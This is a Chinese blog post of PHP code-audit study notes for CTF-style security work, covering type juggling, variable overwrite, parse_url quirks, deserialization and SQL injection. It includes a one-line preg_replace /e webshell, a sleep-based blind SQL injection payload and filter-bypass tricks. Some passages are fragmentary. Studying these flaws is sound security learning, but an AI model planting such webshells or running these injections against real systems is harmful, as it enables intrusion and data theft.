PHP代码审计笔记

数组比较

http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/

<?php

$flag ="XXXX"; 

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
}
?>
//http://localhost/test.php?user[1]=xxoo&user[4294967296]=admin

strcmp()

strcmp(string str1,stringstr2); 比较str1和str2 如果长度1>2 返回1否则返回0 但是仅限于两者数据类型相同 如果s1是一个int型 s2是个string型就无法比较 返回的永远是0

extract()

函数从数组中将变量导入到当前的符号表。

extract($_GET)存在变量覆盖漏洞

preg_match()

$fangzhang = "hongyaasasashoasasngyaaaaahongyaaa:/a/aahongya";
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", $fangzhang, $match);

echo $IsMatch;

正则表达式匹配

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE

ereg()

ereg

**ereg**     ( string `$pattern`    , string `$string`    [, array `&$regs`   ] ) : int

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

rand()

在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章

http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

state[i] = state[i-3] + state[i-31] 

字符串

查一下php手册;http://php.net/manual/zh/language.types.string.php 。除了用单引号,双引号表示字符串外,还有以下两种:

  • heredoc 语法结构
  • nowdoc 语法结构

parse_url()

mixed parse_url ( string $url [, int $component = -1 ] )

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

url:要解析的 URL。无效字符将使用 _ 来替换。

component:

指定 PHP_URL_SCHEMEPHP_URL_HOSTPHP_URL_PORTPHP_URL_USERPHP_URL_PASSPHP_URL_PATHPHP_URL_QUERYPHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path
  • #### parse_url()会把//认为是相对路径(5.4.7以前)

///会被返回false

例如如下代码,如果输入http://localhost/1.php?sql=select会被过滤

parsestr()

对字符串进行解析,同时还自带urldecode功能,所以参数通过使用%2527就可以绕过addslashes函数

stripcslashes()

反引用一个使用 addcslashes() 转义的字符串

返回反转义后的字符串。可识别类似 C 语言的 \n\r,… 八进制以及十六进制的描述。

stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'

is_numeric()和int类型转换

is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

强制类型转换int,不能正确转换的类型有十六进制型字符串、科学计数法型字符串(部分)。

<?php
show_source(__FILE__);
$temp = $_GET['temp'];
echo (int)$temp;
?> 

?temp=0x76a701 输出0

?temp=0e11输出0

?temp=4e11输出4

addslashes()

使用反斜线引用字符串

在单引号 双引号 反斜线 与NUl 前面加上反斜线

preg_replace()

/e

PHP5.5.0以下可用,5.5.0及以上版本已经被弃用了。使用 preg_replace_callback() 代替。/e 即 PREG_REPLACE_EVAL。

执行一个正则表达式的搜索和替换

 preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

如果subject是一个数组, preg_replace()返回一个数组,其他情况下返回一个字符串。

webshell代码

<?php
@preg_replace(``"/[pageerror]/e"``,$_POST[``'error'``],``"saft"``);

关于GPC和REQUESTS

字母出现顺序越靠后则数据加载的顺序越靠前,也就是说如果以POST、GET方式传入同样的变量,那么用REQUEST获取的就是POST的变量值。

https://doubler.cn/2018/10/13/PHP-Audit-Labs-Day12/

<?php

$a = "aaa\'";
$a = addslashes($a);
$c = "\$option='$a';";
$str = $a;
echo $a;
echo "\n";
echo $c;
echo "\n";
$file = "\$option='asa';";
// $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
$file = preg_replace('|\$option=\'.*\';|', $c, $file);
echo $file;

这里面有一个疑问,运行的结果如下

aaa\\\'
$option='aaa\\\'';
$option='aaa\\'';

为什么会吃掉一个字符串。

反序列化问题

PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患

http://www.91ri.org/15925.html

http://www.vuln.cn/6413

PHP 内置了多种处理器用于存取PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器

对应的存储格式

php

键名 + 竖线 + 经过 serialize() 函数反序列处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

php_serialize (php>=5.5.4)

经过 serialize() 函数反序列处理的数组

当 session.auto_start=On 时:

因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

关于phpinfo()

https://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/

关于00绕过

0x00 为16进制的截断字符

%00 经过url解码之后为截断字符

ereg()函数存在NULL截断漏洞

SQL注入

bypass

  • https://yq.aliyun.com/articles/436608
  • <br />'||if(rpad(`key`,1,1)='a',sleep(3),1)#<br />

update注入

https://paper.seebug.org/216/
mysql
PDATE student D
  LEFT JOIN (SELECT 
        B.studentId,
                SUM(B.score) AS s_sum,
                ROUND(AVG(B.score),1) AS s_avg
           FROM score B
          WHERE b.examTime >= '2015-03-10'
          GROUP BY B.studentId) C
    ON (C.studentId = D.id)

   SET D.score_sum = c.s_sum,
       D.score_avg = c.s_avg
 WHERE D.id = 
       (
         SELECT 
        E.id FROM 
        (
                  SELECT 
                DISTINCT a.studentId AS id
                    FROM score A
                   WHERE A.examTime >= '2015-03-10'
                ) E 
          WHERE E.id = D.id
       )
   AND d.age = 1;

mysql注入技巧

  • /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 select /*!50709version()*/;

报错注入原理

  • UpdateXML(xml_target, xpath_expr, new_xml) updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换 这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

本文分享自微信公众号 - 无级安全(wujisec),作者:fz只不过是从头再来

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-06-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 探究apache解析漏洞

    今天看到了一些关于apache 解析漏洞的文章,下面做一下梳理和测试。大牛别喷我。

    用户5878089
  • 从SUCTF2019到python源码

    前段时间打的SUCTF2019中有一个题目叫Pythongin思路大概来源于黑帽大会

    用户5878089
  • 带妹玩转vulnhub(六)

    小编语:国庆七天的带妹系列文章已经第六篇了,也不知道哪位大佬带到妹子了,带不到妹子的师傅就留在宿舍学习吧,除了带妹系列的vulnhub,接下来退出更适合新手的d...

    用户5878089
  • Linux下文件时间的一些测试

    通过URL进行访问 url/tools/time.php, 再查看 time 的时间

    大江小浪
  • CTF---Web入门第十一题 PHP大法

    PHP大法分值:20 来源: DUTCTF 难度:中 参与人数:8205人 Get Flag:2923人 答题人数:3042人 解题通过率:96% 注意备份文件...

    Angel_Kitty
  • 给WordPress文章添加类似说说的状态样式

    用户1696846
  • nodejs使用sequelize操作mysql实例

    sequelize是node操作mysql的一款npm包,包含很多特性:数据库模型映射、事务处理、模型属性校验、关联映射等,花了两天时间学习了下基本的一些操作,...

    用户1141560
  • MongoDB基于复制集创建索引

    Leshami
  • 教你自建云盘存储PDF书籍支持在线预览和下载!

    在技术学习的路上经常与同好交流心得,时而分享一些技术的PDF书籍。但也经常发现即使是一些可以开源的书籍,分享出来的链接也常常遇到链接失效问题。

    小傅哥
  • 设计工程师的“易筋经”:元器件数据库SiliconExpert发布中文版

    SiliconExpert直接与数千家制造商和分销商合作,捕获最准确、最新的元器件信息。值得再次提及的是由SiliconExpert超过400名电子专家组成的团...

    机器人网

扫码关注云+社区

领取腾讯云代金券